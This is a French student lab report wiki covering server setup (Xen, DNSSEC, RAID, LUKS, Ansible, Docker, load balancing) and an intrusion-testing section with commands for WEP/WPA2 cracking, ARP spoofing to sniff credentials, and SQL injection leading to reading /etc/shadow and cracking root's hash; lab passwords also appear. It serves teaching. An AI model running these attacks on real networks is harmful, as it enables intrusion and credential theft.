Après cela nous avons voulu push notre image "web" vers notre dépôt mais une erreur est survenue, celle-ci vient du fait qu'il fallait rajouter le fichier daemon.json dans le dossier "/etc/docker/" afin de ne pas utiliser une connexion sécurisée.

{
"insecure-registries" : ["192.168.42.5:5000"]
}

Une fois ce fichier modifié nous avons pu utiliser les commandes :
docker tag web 192.168.42.5:5000/webserver
docker push 192.168.42.5:5000/webserver

Puis coté chassiron :
docker pull 192.168.42.5:5000/webserver

=== Configuration de nos serveurs internes ===

Pour voir déployer nos containeurs sur tous les serveurs disponibles sur chassirons nous avons d'abord créé notre role "new_container" :

- name: Create a container
docker_container:
name: amanite_container
image: 192.168.42.5:5000/webserver_amanite
ports:
- "8085:80"

Ce role permet (après avoir push sur le registry de notre seconde machine virtuelle), d'installer l'image webserver_amanite sur l'ensemble des machine qui sont dans l'hote webservers.
Sur ces machines virtuelles, il faut également rajouter au fichier daemon.json (dans le dossier /etc/docker) l'ensemble des repository non sécurisés (afin d'y prendre les images).

Puis nous avons déployé notre container grâce à notre playbook :

- hosts: webservers
roles:
- new_container

=== Equilibreur de charge ===

Nous avons ensuite ajouté le serveur web virtuel reverse.amanite.site, puis nous avons activé les modules apaches suivants (pour l'ensemble de nos étapes) :

a2enmod proxy
a2enmod proxy_http
a2enmod proxy_balancer
a2enmod lbmethod_byrequests

Pour notre première partie nous avons modifier notre fichier amanite.site.db (qui se situe dans /etc/bind/zones) et nous y avons rajouter la ligne :
reverse IN CNAME www
(Nous n'oublions pas d'incrémenter le numéro de version, de signer la zones pour DNSSEC ainsi que redémarrer le service bind9).

Par la suite nous avons rajouter un site dans /etc/apache2/site-available que nous nommons reverse.conf :
<VirtualHost *:80>
ServerName reverse.amanite.site
ServerAdmin lolopierro
ProxyPass / http://192.168.42.5:8085
ProxyPassReverse / http://192.168.42.5:8085
</VirtualHost>

Que nous ajoutons à nos sites enable via la commande : a2ensite reverse.conf, puis nous redémarrons le service apache2.
Après cette étape notre site est accessible via l'URL reverse.amanite.conf (qui est pour le moment accessible via notre seule machine virtuelle secondaire sur chassiron).

Dans un second temps nous avons modifié notre fichier de configuration reverse.conf afin d'y rajouter de l'équilibrage de charge :

<VirtualHost *:80>
ServerName reverse.amanite.site
ServerAdmin lolopierro
<Proxy "balancer://mycluster">
BalancerMember "http://192.168.42.5:8085" route=1
BalancerMember "http://192.168.42.2:8085" route=2
BalancerMember "http://192.168.42.4:8085" route=3
BalancerMember "http://192.168.42.7:8085" route=4
BalancerMember "http://192.168.42.9:8085" route=5
BalancerMember "http://192.168.42.12:8085" route=6
ProxySet lbmethod=byrequests
</Proxy>
ProxyPass / balancer://mycluster/
ProxyPassReverse / balancer://mycluster/
</VirtualHost>

Pour vérifier notre loadbalancing nous avons modifié notre page index.html, puis nous avons build notre nouvelle image docker contenant cette page html, nous l'avons push sur le registry et pull depuis notre machine amanite sur Chassiron. Nous avons ensuite relancé notre playbook nous permettant de déployer cette image sur toutes les machines secondaires virtuelles, mais seul notre machine amanite (car nous avons pull sur cette machine) et les machines n'ayant pas eu le déploiement avant on été actualisé. Cela nous permet de bien vérifier notre loadbalancing.

Une deuxième méthode pour vérifier celui-ci est l'ajout du module status sur apache :

a2enmod status

Puis nous avons modifié notre fichier de configuration reverse.conf en y ajoutant les lignes suivantes :

<Location "/server-status">
SetHanlder server-status
Order Allow,Deny
Allow from all
</Location>

Malheureusement nous n'arrivons pas à accéder à la page reverse.amanite.site/server-status malgré les différentes recherches effectuées.

TP sysres IMA5sc 2020/2021 G5

2020-12-20T14:58:33Z

Psanchez : /* Configuration des LV */

{| class="wikitable"
! Groupe !! Domaine !! Distribution !! VLAN privé !! IP (VLAN333) !! Netmask (VLAN333) !! Gateway (VLAN333) !! Gateway 6509-E (VLAN333) !! Gateway 9200 (VLAN333) !! IP (publique)
|-
| Groupe 5
| amanite.site
| Debian 10 Buster
| 305
| 100.64.0.24
| 255.255.255.0
| 100.64.0.254
| 100.64.0.1
| 100.64.0.2
| 193.48.57.184
|}

==Création d'une machine virtuelle Xen Linux sur le dom0 capbreton.plil.info==

Connexion ssh :

ssh pifou@capbreton.plil.info

Création de la VM Xen :

> su - (Afin de pouvoir accéder aux variables d'environnement de su et ainsi accéder à sbin/mkswap)

> xen-create-image --hostname=amanite --ip=100.64.0.19 --netmask=255.255.255.0 --gateway=100.64.0.5 --password=pasglop --dir=/usr/local/xen --dist=buster

Résultat de la commande :
General Information
--------------------
Hostname : amanite
Distribution : buster
Mirror : http://deb.debian.org/debian
Partitions : swap 512M (swap)
/ 4G (ext4)
Image type : sparse
Memory size : 256M
Kernel path : /boot/vmlinuz-4.19.0-9-amd64
Initrd path : /boot/initrd.img-4.19.0-9-amd64

Networking Information
----------------------
IP Address 1 : 100.64.0.19 [MAC: 00:16:3E:C4:6A:BB]
Netmask : 255.255.255.0
Gateway : 100.64.0.5

===Configuration des LV===

Après que Guillaume ait créer un volume group sur capbreton pour chaque groupe puis attribuer 2 Logical Volume (LV) de 10Go sur ce volume group il est nécessaire de formater ces 2 LV à l'aide des commandes suivantes :

root@capbreton:~# mkfs.ext4 /dev/storage/amanite1
root@capbreton:~# mkfs.ext4 /dev/storage/amanite2

Nous avons par la suite modifié le fichier config de la VM, ''amanite.cfg'', afin qu'elle possède les volumes loguqes amanite1 et amanite2 précédemment créé en rajoutant les lignes ci-dessous :

Dans la fonction Disk Device(s) :
disk = [
...
'phy:/dev/storage/RingotSanchez1,xvdav3,w'
'phy:/dev/storage/RingotSanchez2,xvdav4,w'
]

Puis dans Networking :
vif = [ 'bridge=IMA5sc, ...']

===Création et configuration de la machine virtuelle===

Lorsque nous sommes connecté en ssh à capbreton, creation de la VM avec la commande : xl create -c /etc/xen/amanite.cfg

*Commandes utiles
** Affichage de l'ensemble des VM présente sur capbreton : xl list
** Se connecter à la VM : xen console amanite
Identifiant de la machine : root
Mdp de la machine : pasglop

'''Suite de la configuration'''

Pour que les répertoires /var et /home de la machine virtuelle soient sur des partitions LVM de l’hôte il faut tout d'abord formater xvda3, xvda4 en ext 4 à l'aide des commandes :
root@amanite:~# mkfs.ext4 /dev/xvda3
root@amanite:~# mkfs.ext4 /dev/xvda4

Par la suite nous montons nos deux disques afin d'y déplacer nos répertoires (en ayant préalablement créer les points de montages /mnt/xvda3 et /mnt/xvda4) :

root@amanite:~# mount /dev/xvda3 /mnt/xvda3
root@amanite:~# mount /dev/xvda4 /mnt/xvda4

Le répertoire /home étant vide nous ne déplaçons que le répertoire /var dans le disques xvda4 :

root@amanite:~# mv /var/* /mnt/xvda4.

Puis nous démontons (umount) nos deux volumes.

Nous modifions ensuite /ect/fstab en ajoutant :
/dev/xvda3 /home ext4 defaults 0 2
/dev/xvda4 /var ext4 defaults 0 2

Puis nous les montons à l'aide de la commande :
mount -a
Finalement à l'aide de la commande lsblk nous pouvons verifier notre montage :
NAME MAJ:MIN RM SIZE RO TYPE MOUNTPOINT
xvda1 202:1 0 512M 0 disk [SWAP]
xvda2 202:2 0 4G 0 disk /
xvda3 202:3 0 10G 0 disk /home
xvda4 202:4 0 10G 0 disk /var

==Service Internet==

===Serveur SSH===

Installation d'un serveur ssh, accessible grâce à la commande :
ssh root@amanite.site
avec le mot de passe habituel d'une zabeth non root. (Il faut au préalable avoir autoriser la connexion en root : PermitRootLogin yes dans le fichier /etc/ssh/sshd_config)

===Serveur DNS===

Nous avons commencé par louer un nom de domaine sur gandi.net :
amanite.site
Nous avons ensuite installé le package bind9.

Dans le dossier de configuration de bind9 on modifie les fichiers de configurations :

Dans /etc/bind/named.conf.local :

zone "amanite.site" IN {
type master;
file "/etc/bind/zones/amanite.site.db";
allow-transfer{217.70.177.40;};
};

Dans /etc/bind/zones/amanite.site.db :

;BIND data file for local loopback interface
;
$TTL 604800
@ IN SOA ns1.amanite.site. postmaster.amanite.site. (
6 ; Serial
604800 ; Refresh
86400 ; Retry
2419200 ; Expire
604800 ) ; Negative Cache TTL
;
@ IN NS ns1.amanite.site.
@ IN NS ns6.gandi.net.
@ IN MX 42 ns1
ns1 IN A 193.48.57.184
www IN A 193.48.57.184
ns1 IN AAAA 2001:660:4401:60b2:216:3eff:fec4:6abb
www IN AAAA 2001:660:4401:60b2:216:3eff:fec4:6abb

Dans /etc/bind/name.conf.options

options {
directory "/var/cache/bind";
dnssec-validation auto;
listen-on-v6 { any; };
allow-transfer { "allowed_to_transfer";};
};

acl "allowed_to_transfer" {
217.70.177.40/32;
};

Sur gandi.net on lie ns1.amanite.site à 193.48.57.184 grâce a l'option Gluerecords, ensuite on ajoute aux serveurs de noms externes.
ns1.amanite.site
ns6.gandi.net

Pour vérifier le bon fonctionnement on peut utiliser les commandes suivantes :
host -t any ns1.amanite.site localhost
host -t any ns1.amanite.site

ou se servir de nslookup.

===Sécurisation de site web par certificat===

Pour sécuriser notre site web par certificat il faut d'abord créer un certificat pour cela on utilise l'utilitaire openssl et nous nous aidons de la documentation de Gandi.
Cette ligne de commande nous permet de lancer la procédure de création :

openssl req -nodes -newkey rsa:2048 -sha256 -keyout amanite.site.key -out amanite.site.csr

Country Name (2 letter code) [AU]:FR
State or Province Name (full name) [Some-State]:France
Locality Name (eg, city) []:Lille
Organization Name (eg, company) [Internet Widgits Pty Ltd]:Polytech
Organizational Unit Name (eg, section) []:IMA
Common Name (e.g. server FQDN or YOUR name) []:amanite.site
Email Address []:admin@amanite.site

Please enter the following 'extra' attributes
to be sent with your certificate request
A challenge password []:glopglop
An optional company name []:

Une fois la procédure lancée nous rentrons nos informations comme notre pays, notre entreprise, notre nom d'organisation mais le plus important notre common name "amanite.site".
Une fois fini deux fichiers sont créés amanite.site.key et amanite.site.csr, il faut maintenant faire signer le fichier amanite.site.csr par une authorité de certification. Cela se passe directement sur le site de gandi, nous ajoutons ce certificat a notre nom de domaine et nous attendons de recevoir le certificat signé.

===Sécurisation de serveur DNS par DNSSEC===

Le but de cette partie est de résoudre certains problèmes de sécurité liés au protocole DNS grâce au procole DNSSEC. DNSSEC permet de proteger les données et les enregistrements DNS de bout en bout (et non pas seulement le canal de communication comme ce qui pourrait être fait avec TLS). Ainsi, il est efficace même lorsqu'un serveur intermédiaire a été compromis.
Pour ce faire, nous configurons bind pour qu'il soit capable d'accepter les échanges suivant le protocole DNSSEC.

Nous commençons par activer DNSSEC dans le fichier /etc/bind/named.conf.local grâce à l'option :
dnssec-enable yes

Par la suite nous créons un dossier amanite.site.dnssec dans lequel seront stockées les clefs et nous générons deux couples de clefs (ZSK et KSK) qui permettront de chiffrer ou déchiffrer les enregistrements. Nous commençons par créer la clef asymétrique de signature de clefs de zone :
dnssec-keygen -a RSASHA1 -b 2048 -f KSK -n ZONE amanite.site
Puis la la clef asymétrique de la zone pour signer les enregistrements :
dnssec-keygen -a RSASHA1 -b 1024 -n ZONE amanite.site

Nous renommons les deux paires de clefs obtenues pour plus de lisibilité :
amanite-ksk.key amanite-ksk.private amanite-zsk.key amanite-zsk.private

Que nous incluons dans votre fichier de zone /etc/bind/zones/amanite.site.db :
$include /etc/bind/amanite.site.dnssec/amanite.site-ksk.key
$include /etc/bind/amanite.site.dnssec/amanite.site-zsk.key

Sans oublier d'incrémenter le numéro de version de la zone dans le fichier amanite.site.db et amanite.site.db.signed

Nous signons les enregistrements de la zone avec la commande :
dnssec-signzone -o amanite.site -k amanite.site-ksk ../zones/amanite.site.db amanite.site-zsk

Ensuite dans le fichier /etc/bind/named.conf.local nous modifions la zone :
zone "amanite.site" IN {
type master;
file "/etc/bind/zones/amanite.site.db.signed";
allow-transfer{217.70.177.40;};
};

L'avant dernière étape consiste à communiquer la partie publique de la KSK (amanite.site-ksk.key) à Gandi (partie DNSSEC)

Finalement nous relançons bind :
service bind9 restart

Nous vérifions la configuration de notre DNS grâce au site : https://dnssec-analyzer.verisignlabs.com/amanite.site

[[Fichier:Screenshot_amanite.site.png|thumb|center||alt=texte alternatif|400px|Screenshot sur le site DNSSEC Analyzer]]

==Tests d'intrusion==

===Cassage de clef WEP d’un point d’accès WiFi===

*Liste des commandes :
** Lister les interfaces WiFi disponibles : airmong-ng
** Passage d'une interface en mode moniteur : airmong-ng start <Interface>
** Affichage et scan des réseaux WiFi WEP environnants : airodump-ng --encrypt wep <Interface>
** Capture des paquets émis par le point d'accés cible : airodump-ng --write <nomFichierSortie> --channel 3 -bssid <@mac_AP> <nomInterface>
** Crack la clef WEP après avoir capture au minimum 30 000 paquets : aircrack-ng -x <nomFichierSortie>-01.cap

Notre première étape consiste à passer notre interface en mode moniteur.
Nous utilisons donc la commande : airmong-ng

Ce qui nous retourne le nom de notre interface, dans notre cas :
wlan0mon

Nous démarrons cette interface en mode moniteur avec la commande afin d'écouter le trafic wifi aux alentours :
airmong-ng start wlan0mon

Par la suite nous affichons l'ensemble des réseaux WiFi WEP capter par notre interface :
airodump-ng --encrypt wep wlan0mon

Apparaît alors la cracotte05, nous récupérons son BSSID : 04:DA:D2:9C:50:54 qui va alors nous servir à stocker les vecteurs d'initialisation générées par le point d'accés à l'aide de la commande :
airodump-ng --write data --channel 3 -bssid 04:DA:D2:9C:50:54 wlan0mon

Nous pouvons "stimuler" le point d'accés, afin d'augmenter le nombre de paquets transmis (et collectés) :
'''Fake Authentication''' : aireplay-ng -1 0 -e cracotte05 -a 04:DA:D2:9C:50:54 -h 40:A5:EF:01:35:79 wlan0mon

'''Injection''' : aireplay-ng -3 -e cracotte05 -b 04:DA:D2:9C:50:54 -h 40:A5:EF:01:35:79 wlan0mon

Après avoir capturer assez de paquet (environ 30 000) il est possible de cracker la clé WEP à l'aide de la commande :
aircrack-ng -z data.cap

Nous obtenons alors :
KEY FOUND! [F1:DE:D4:00:00:00:00:00:00:00:0F:FF:FF ]
Decrypted correctly: 100%

===Cassage de mot de passe WPA2-PSK par force brute===

Pour cette deuxième étape de craquage de clé, nous allons utiliser quelques commandes communes au craquage de la clé WEP.

Nous utilisons donc la commande : airmong-ng afin de lister nos interfaces, dans notre cas :
wlan0mon

Nous démarrons cette interface en mode moniteur avec la commande :
airmong-ng start wlan0mon

Par la suite nous affichons l'ensemble des réseaux capter par notre interface :
airodump-ng wlan0mon

Nous repérons le réseau "Kracotte05" qui possède le BSSID suivant "00:14:1B:60:8C:24"

Nous pouvons lancer dès lors la commande :
airodump-ng --write data -c 3 -bssid 00:14:1B:60:8C:24 wlan0mon

Il faut désormais attendre que le handshake soit notifié, dès que celui-ci arrive nous pouvons arreter la capture.
En parallèle nous pouvons d'ors et déjà créer le dictionnaire qui va nous permettre de casser la clé WPA grâce à la commande crunch :
crunch 8 8 0123456789 > dico.txt
En effet nous savons que le mot de passe n'est composé que de chiffres et la taille totale de celui-ci est de longueur égale à 8.

Pour cracker le mot de passe, nous avons utiliser hashcat, un utilitaire qui permet notamment d'utiliser la puissance du GPU pour le craquage de la clé.

La commande est la suivante :
crunch 8 8 0123456789 | hashcat -m 2500 output.hccapx

Le mot de passe pour la kracotte05 est le suivant : 10244444

===Attaque de type "homme au milieu" par usurpation ARP===

Pour réaliser cette attaque, nous installons le paquet dsniff sur notre eeePC grâce à la commande :
apt-get install dsniff

La première étape consiste à transformer notre machine attaquante en routeur en mettant la variable noyau /proc/sys/net/ipv4/ip_forward à 1 : echo 1 > /proc/sys/net/ipv4/ip_forward

Nous pouvons afficher la table arp de la machine pirate avec la commande :
arp -a
Grâce à cette table nous identifions deux adresses IP :

172.26.145.254
-> Adresse IP du routeur

172.26.145.60
-> Adresse IP de la machine victime

Notre but est de nous placer entre la gateway et la machine victime afin de pouvoir observer les paquets échangés entre le routeur et la machine victime.

Les commandes suivantes vont nous permettre de procéder à notre attaque du type ARP poisoning :
arpspoof -i eth0 -t 172.26.145.254 172.26.145.60
arpspoof -i eth0 -t 172.26.145.60 172.26.145.254

La première envoie à la cible (172.26.145.254) une fausse réponse ARP afin de corrompre le cache ARP de cette dernière pour ainsi détourner le trafic à destination de notre hôte (172.26.145.60). Ainsi lorsque le routeur devra envoyer des informations à destination de 172.26.145.60, il procédera à une résolution ARP en utilisant l'adresse MAC associé à l'IP 172.26.145.60 et qui aura été changer à la suite de notre spoofing (et nous sera alors associé). La même méthodologie est appliquée pour la seconde commande.

En activant le mode routeur sur la machine pirate, nous pouvons retransférer les paquets entre le routeur et la machine victime de manière transparante.

La machine victime va maintenant se connecter sur un serveur web HTTP.

En lançant wireshark sur la machine attaquante nous observons les paquets suivants :
[[Fichier:wireshark_grp5.jpg|thumb|center||alt=texte alternatif|400px|Capture Wireshark]]

Nous pouvons voir très clairement l'adresse mail ainsi que le mot de passe utilisés par l'utilisateur victime.

===Intrusion sur un serveur d’application Web===

Pour commencer ce challenge nous n’avons qu’une adresse : honey.plil.info. Afin de connaitre les services sur cette machine nous utilisons l’utilitaire nmap qui va scanner le réseau grâce à des pings sweep :

nmap -A -T4 honey.plil.info

[[Fichier:Nmap_honey.png|thumb|center||alt=texte alternatif|400px|Nmap honey.plil.info]]

Nous voyons que le serveur héberge deux services :
Un service de connexion ssh, inutilisable sans login et mot de passe
Un service web.

Nous essayons donc de commencer par attaquer le site web honey.plil.info

Sur la page principale seul un formulaire de connexion est présent, celui-ci sûrement utilisé par une base de données donc nous tentons une injection SQL.
Les requêtes SQL de connexions sont souvent de la forme :
Select … From … Where login = « username » AND password = « password ».
Si nous connaissons l’username ou le mot de passe du compte sur lequel nous voulons nous connecter nous pouvons utiliser une injection du type « or 1 = 1 -- » qui est une condition toujours vraie. Dans notre cas nous ne connaissons ni le login ni le password à utiliser donc on utilise la condition vraie sur les deux champs. De ce fait la base de données sera « perdu » et nous renvoie tous les comptes auxquels nous pouvons nous connecter en nous disant que nous ne pouvons nous connecter à tous ces comptes en même temps.

[[Fichier:Sql_injection_honey.png|thumb|center||alt=texte alternatif|400px|Injection SQL honey.plil.info]]

Une fois connecté en tant qu’admin nous voyons que nous avons accès à trois pages, deux sont intéressantes :
- La première permet d’uploader un fichier qui est stocké sur le pc du server
- La deuxième permet de lire ce fichier.

Nous uploadons le fichier password situé dans le dossier « etc », en le lisant nous nous apercevons que deux utilisateurs sont présents sur le serveur : root et rex et ces deux utilisateurs ont les droits pour se connecter en ssh. Nous uploadons le fichier shadow situé dans le dossier « etc », malheureusement celui-ci est vide.

Après quelques tentatives infructueuses pour trouver le mot de passe de rex ou de root on se sert de l’utilitaire dirb qui va bruteforce le site internet pour trouver d’autres liens.

dirb -r honey.plil.info

[[Fichier:Dirb_honey.png|thumb|center||alt=texte alternatif|400px|Dirb honey.plil.info]]

Celui-ci nous permet de voir qu’une page http://honey.plil.info/phpmyadmin/ est présente. Nous avons fait des recherches pour savoir dans quel fichier était stocké le mot de passe administrateur de phpmyadmin. Nous uploadons donc le fichier config.inc.php, à l’intérieur de celui-ci nous ne trouvons rien excepté un deuxième nom de fichier : “config-db.php”. Dans celui-ci nous trouvons le mot de passe “gencovid19”. Une fois connecté en tant que root sur phpmyadmin, nous fouillons les bases de données et nous trouvons le nom d’utilisateur “rex” et le mot de passe “plainpassword” dans la base “test”.

Une fois connecté en ssh sur le compte de rex, nous avons regardé ses droits et ceux-ci sont quasi identique à ceux de root on peut donc ouvrir le fichier “shadow”, récupérer le hash du mot de passe de root. Nous avons ensuite créé un dictionnaire en partant du principe que le mot de passe était de la forme "glopglop" et nous avons craqué le hash avec John the ripper qui nous donne le mot de passe ********.

==Réalisations==

===Sécurisation de données===

Tout d'abord, nous créons 3 partitions virtuelles grâce aux commandes :

lvcreate -L1G -n amanite-raid1 storage
lvcreate -L1G -n amanite-raid2 storage
lvcreate -L1G -n amanite-raid3 storage

Ensuite, nous modifions le fichier : /etc/xen/amanite.cfg
disk = [
'file:/usr/local/xen/domains/amanite/disk.img,xvda2,w',
'file:/usr/local/xen/domains/amanite/swap.img,xvda1,w',
'phy:/dev/storage/RingotSanchez1,xvda3,w',
'phy:/dev/storage/RingotSanchez2,xvda4,w',
'phy:/dev/storage/amanite-raid1,xvda5,w',
'phy:/dev/storage/amanite-raid2,xvda6,w',
'phy:/dev/storage/amanite-raid3,xvda7,w'
]

Puis nous redémarrons notre VM.
xl destroy amanite
xl create /etc/xen/amanite.cfg

Après avoir relancer notre VM, nous installons le paquet mdadm.

apt instal mdadm

Ensuite, nous construisons notre volume RAID 5, et nous nous assurons que ce dernier est démarré à chaque démarrage de notre VM.

mdadm --create /dev/md0 --level=5 --raid-devices=3 /dev/xvda5 /dev/xvda6 /dev/xvda7
mdadm --monitor --daemonise /dev/md0

Nous formatons notre volume RAID.

mkfs.ext4 /dev/md0

Et nous rajoutons la ligne suivante dans /etc/fstab :

/dev/md0 /raid5 ext4 defaults 0 2

Nous pouvons avoir des détails notre volume grâce à la commande :
mdadm --detail /dev/md0

Pour finir, nous montons et peuplons notre volume RAID.
mount /dev/md0 /mnt
touch coucou.txt

A partir de là, nous avons une configuration persistante du raid. Le RAID 5 sera identifié au boot et monté automatiquement. Nous pouvons maintenant tester notre volume RAID, nous simulons une panne sur un de nos disques.

Nous déclarons un de nos disques comme étant en défaillance :

mdadm --set-faulty /dev/md0 /dev/xvda7

Puis nous l'enlevons de notre volume RAID :
mdadm --remove /dev/xvda7

Nous constatons que notre fichier coucou.txt est toujours présent, malgré la panne de l'un de nos disques.

Puis nous rajoutons notre disque dans notre volume RAID (ce dernier n'étant pas réellement défaillant) :
mdadm --manage /dev/md0 --add /dev/xvda7

===Chiffrement de données===

Notre but est de chiffrer les données contenus sur une clé usb en utilisant l'utilitaire cryptsetup.

Après avoir trouvé notre clé usb avec lsblk, on formatte celle-ci. Puis on utilise l'utilitaire cryptsetup pour la chiffrer.

cryptsetup luksFormat /dev/sdb
cryptsetup luksOpen /dev/sdb crypt_sdb

Ces deux commandes nous permettent d'ouvrir notre clé usb avec cryptsetup, ainsi que d'ajouter un lien crypt_sdb dans /dev/mapper. Pour pouvoir utiliser la clé il faut reformater la partition luks.

mkfs.ext4 /dev/mapper/crypt_sdb

Pour pouvoir ajouter un fichier sur celle-ci nous devons la monter.

mount /dev/mapper/crypt_sdb /mnt

Puis nous y ajoutons un fichier.

touch /mnt/test.txt

Nous avons ensuite unmount la clé et nous avons essayé de l'ouvrir sur un autre pc.

umount /mnt
cryptsetup luksClose crypt_sdb

Après avoir monté la clé sur un autre pc nous constatons que nous ne pouvons voir les fichiers présent. Pour les voir nous devons utiliser le mot de passe rentré lors de cryptsetup luksFormat.

===Inspection ARP par un élément réseau===

Après avoir effectué des recherches nous nous sommes rendu compte que l'asa 5506-x ne faisait pas switch et ne nous permettait donc pas de pouvoir l'utiliser contre l'ARP spoofing.

===Sécurisation WiFi par WPA2-EAP===

== TP ASR ==

=== Architecture de la ferme ===

Pour notre groupe, l'ensemble des machines virtuelles Xen étaient déjà installées.

Dans un premier temps nous avons ajouté une interface réseau virtuelle à notre machine amanite sur capbreton (fichier /etc/xen/amanite.cfg) afin de la relier au VLAN50 tout en choisissant une adresse MAC incrémenté de 1 par rapport à notre autre interface.

vif = [ 'bridge=IMA5sc, ip=100.64.0.19 ,mac=00:16:3E:C4:6A:BB', 'bridge=bridgeStudents, ip=192.168.42.19, mac=00:16:3E:C4:6A:BC' ]

Sur notre machine virtuelle côté chassiron voici la configuration après modification dans notre fichier /etc/network/interfaces :
# The primary network interface
auto eth0
iface eth0 inet static
address 193.48.57.184
netmask 255.255.255.255
up ip address add dev eth0 100.64.0.24/24
up ip route add default via 100.64.0.2 src 193.48.57.184
down ip address del dev eth0 100.64.0.24/24
down ip route del default via 100.64.0.2 src 193.48.57.184

# The secondary network interface
auto eth1
iface eth1 inet static
address 192.168.42.19
netmask 255.255.255.0

Nous avons mis en place notre propre mascarade avec les commandes suivantes :
iptables -P FORWARD DROP
iptables -A FORWARD -j ACCEPT -s 192.168.45.5/24
iptables -A FORWARD -j ACCEPT -d 192.168.45.5/24
iptables -t nat -A POSTROUTING -j SNAT -s 192.168.42.5/24 --to-source 193.48.57.184
Ce qui permet à nos paquets en provenance de 192.168.45.5 (machine sur chassiron) de sortir sur internet en passant par notre interface eth0 de notre machine virtuelle sur capbreton (et bien entendu de faire le trajet inverse). Finalement nous avons supprimé le 01proxy qui se situe dans /etc/apt/apt.conf.d afin de pouvoir procéder a des "apt install" et ne plus être considérer comme des hackeur russes malveillants.

Nous avons également installer le paquet iptables-persistent afin que notre configuration puisse être mise en place à chaque redémarrage de notre VM tout en modifiant le fichier "/etc/sysctl.conf" pour activer l'ip forwarding pour les paquets IPV4.

A la fin de cette partie nous sommes capables de ping les machines entre elles.

Sur notre machine virtuelle côté chassiron voici la configuration dans notre fichier /etc/network/interfaces :
# The primary network interface
auto eth0
iface eth0 inet static
address 192.168.42.5/24
gateway 192.168.42.19

Nous avons également modifié notre fichier /etc/resolv.conf :
domain plil.info
search plil.info plil.fr
nameserver 192.168.42.19

Et supprimé le 01proxy qui se situe dans /etc/apt/apt.conf.d.

Nous modifions les fichiers /etc/resolv.conf pour supprimer le dns de l'ecole et nous supprimons le fichier /etc/apt/apt.conf.d/01proxy pour ne pas passer par le proxy de l'école. A la fin de cette partie la machine sur chassiron est capable de ping google.

'''Clés SSH'''

Génération d’une paire de clef asymétrique :
ssh-keygen -t rsa

Ces clés sont stocké coté capbreton dans le dossier /.ssh

Par la suite nous installons la clef publique sur nos cibles (les machines sur chassiron) :
cat .ssh/id_rsa.pub | ssh 192.168.42.5 "cat >> /root/.ssh/authorized_keys2"
Cette manipulation est cruciale pour ansible, sans cette dernière ansible ne peut fonctionner correctement

'''Installation d'Ansible'''

Installation via la commande :
apt install ansible

L'étape suivante consiste à créer un inventaire hosts dans /etc/ansible :
[webserver]
192.168.42.5

[webservers]
192.168.42.5
192.168.42.2
192.168.42.4
192.168.42.7
192.168.42.9
192.168.42.12

Ce fichier répertorie nos différentes cibles en séparent webserver qui est une cible ne contenant que notre machine virtuelle secondaire et webservers qui contient l'ensemble des machines virtuelles du groupe 2. Nous pouvons effectuer une première vérification grâce à la commande ansible :
ansible webserver -a "lsb_release -d"

L'étape suivant consiste à tester ansible.
Pour ce faire nous créons un role basic qui contient la tache main.yml, voici son contenu :

- name: package to be installed
apt:
update_cache: yes
name: "{ { packages } }"
vars:
packages:
- ntp
- python3
- python3-pip

- name: docker
pip:
name: docker

- name: maj ntp
copy:
src: "/etc/ntp.conf"
dest: "/etc/ntp.conf"
owner: root
group: root
mode: '0644'

- name: maj motd
copy:
src: "/etc/motd"
dest: "/etc/motd"
owner: root
group: root
mode: '0644'

Ce role s'assure qui les packages ntp, python3, python3-pip et docker son bien installé et met à jour ntp et motd en copiant leurs configurations qui est présente sur notre machine virtuelle de capbreton. La modification est bien prise en compte est peut être vérifier en se connectant en ssh sur notre machine de chassiron via la commande ssh root@192.168.42.5

=== Installation de docker ===

Avant de commencer l'installation de docker il nous faut ajouter les packages python3 et python3-pip à notre machine secondaire, nous avons utilisé ansible pour faire ceci en créant le rôle basic :

- name: package to be installed
apt:
update_cache: yes
name: "{ { packages } }"
vars:
packages:
- python3
- python3-pip

Nous avons également récupéré le rôle geerlingguy.docker qui est un rôle fait pour déployer docker grâce à ansible (récupérer sur ansible galaxy).

Nous avons ensuite créé notre playbook pour déployer nos commandes :

- hosts: webserver
roles:
- basic
- geerlingguy.docker
vars:
docker_apt_gpg_key: "https://download.docker.com/linux/debian/gpg"
docker_apt_repository: "deb [arch={ { docker_apt_arch } }] https://download.docker.com/linux/debian buster { { docker_apt_release_channel } }"

=== Création de notre conteneur ===

Pour lancer notre containeur web nous avons commencé par créer le Dockerfile :

FROM httpd:2.4
COPY . /usr/local/apache2/htdocs/
CMD ["httpd", "-D", "FOREGROUND"]

Nous avons ensuite créé l'image du Dockerfile :
docker build -t web .

Puis nous avons lancé notre container
docker run -d -p "8085:80" --name web web

Plusieurs commandes nous permettent de vérifier le bon fonctionnement :
docker images (Affichage des différentes images docker installées)
docker ps -a (Affichage des différents containeur en cours d'exécution)

Nous avons pu vérifier le bon fonctionnement de celui-ci grâce a la commande suivante :
curl 193.48.57.184:8085

Nous avons ensuite créé un rôle ansible pour créer un dépôt local docker sur notre machine secondaire (après avoir préalablement installer la collection via la commande : ansible-galaxy collection install community.general) :
- name: Setup registry
docker_container:
name: registry
image: registry
ports:
- "5000:5000"

Après cela nous avons voulu push notre image "web" vers notre dépôt mais une erreur est survenue, celle-ci vient du fait qu'il fallait rajouter le fichier daemon.json dans le dossier "/etc/docker/" afin de ne pas utiliser une connexion sécurisée.

{
"insecure-registries" : ["192.168.42.5:5000"]
}

Une fois ce fichier modifié nous avons pu utiliser les commandes :
docker tag web 192.168.42.5:5000/webserver
docker push 192.168.42.5:5000/webserver

Puis coté chassiron :
docker pull 192.168.42.5:5000/webserver

=== Configuration de nos serveurs internes ===

Pour voir déployer nos containeurs sur tous les serveurs disponibles sur chassirons nous avons d'abord créé notre role "new_container" :

- name: Create a container
docker_container:
name: amanite_container
image: 192.168.42.5:5000/webserver_amanite
ports:
- "8085:80"

Ce role permet (après avoir push sur le registry de notre seconde machine virtuelle), d'installer l'image webserver_amanite sur l'ensemble des machine qui sont dans l'hote webservers.
Sur ces machines virtuelles, il faut également rajouter au fichier daemon.json (dans le dossier /etc/docker) l'ensemble des repository non sécurisés (afin d'y prendre les images).

Puis nous avons déployé notre container grâce à notre playbook :

- hosts: webservers
roles:
- new_container

=== Equilibreur de charge ===

Nous avons ensuite ajouté le serveur web virtuel reverse.amanite.site, puis nous avons activé les modules apaches suivants (pour l'ensemble de nos étapes) :

a2enmod proxy
a2enmod proxy_http
a2enmod proxy_balancer
a2enmod lbmethod_byrequests

Pour notre première partie nous avons modifier notre fichier amanite.site.db (qui se situe dans /etc/bind/zones) et nous y avons rajouter la ligne :
reverse IN CNAME www
(Nous n'oublions pas d'incrémenter le numéro de version, de signer la zones pour DNSSEC ainsi que redémarrer le service bind9).

